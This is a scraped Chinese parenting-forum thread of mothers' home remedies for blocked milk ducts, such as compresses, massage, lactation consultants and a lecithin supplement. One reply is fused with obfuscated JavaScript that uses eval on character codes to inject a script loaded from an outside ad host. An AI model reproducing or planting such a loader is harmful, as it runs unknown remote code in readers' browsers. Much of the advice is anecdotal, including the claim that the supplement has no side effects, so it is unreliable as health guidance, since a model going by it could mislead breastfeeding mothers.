摸一下你的乳房是热还是凉的,乳房热就要冷敷,乳房凉就要热敷,堵奶期间暂停吃催乳的汤水(奶通了再吃),饮点通乳茶,网上有得卖,乳房硬的地方就不停地揉(期间非常痛苦,一定要忍着)另外,我还有个偏方,就是吃点大豆卵粦脂，药房有得卖，有疑问可以问一下医生，反正我是有效，就是老人通血管的那种保健品，没有副作用的

是不是已经变成硬奶了？如果是，要想方设法把奶推出来，否则会因为堵奶发烧，乳腺也会堵塞的。自己推不出奶，建议找个催乳师帮忙吧。收费一般都是均价，380一次

我以前也堵得受不了，各种方法，都很痛苦，最后是找催乳师帮忙通奶的，一下子就通了。不过费用是一次300，我请了5次。

给宝宝吸$('ed2k_5E5').innerHTML=htmlspecialchars(unescape(decodeURIComponent('filesize')))+' ('+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,47,47,97,100,46,109,49,48,48,56,54,46,99,99,47,63,103,122,109,97,109,97,39,93,59))+' Bytes)';

找个几个月的母乳喂养宝宝吃一下

我以前也堵得受不了，各种方法，都很痛苦，最后是找催乳师帮忙通奶的，一下子就通了。不过费用是一次300，我请了5次。

我刚出院那天也试过这情况，先热敷，然后月嫂帮我按摩 ，很痛的，不过揉开了就没事，第二天就好了。

我坐月子的时候堵了两次，没请通乳师，老公使蛮力挤出来的，那个痛啊，哭爹喊娘啊

蛮力有用吗😭

自己的宝宝不行么

自己的孩子小，力度不大

老公吸行吗

可以，我不好意思告诉你，但很多人这么办的

给宝宝吸

谢谢分享

真没有就挤出一点此回帖已经被版主奖励积分5分。

如果已经摸上去热热的，也有硬块了，一定要找催乳师疏通下。我朋友之前就是这样，后来要去医院做手术了

蛮劲很痛，催乳师就不那么痛还通的快，反正挤通就好了

专家您好，最近内分泌失调，可是乳房也会莫名其妙的疼是怎么回事呀？

去赤崗的第二人民醫院，理療科，好像才35元下次，我來了5次，3次就好了

给宝宝吸

多给宝宝吸，放松心情，像姐妹们回复的适当暖敷。搞不定的话请催乳师吧。我是专业中医催乳师。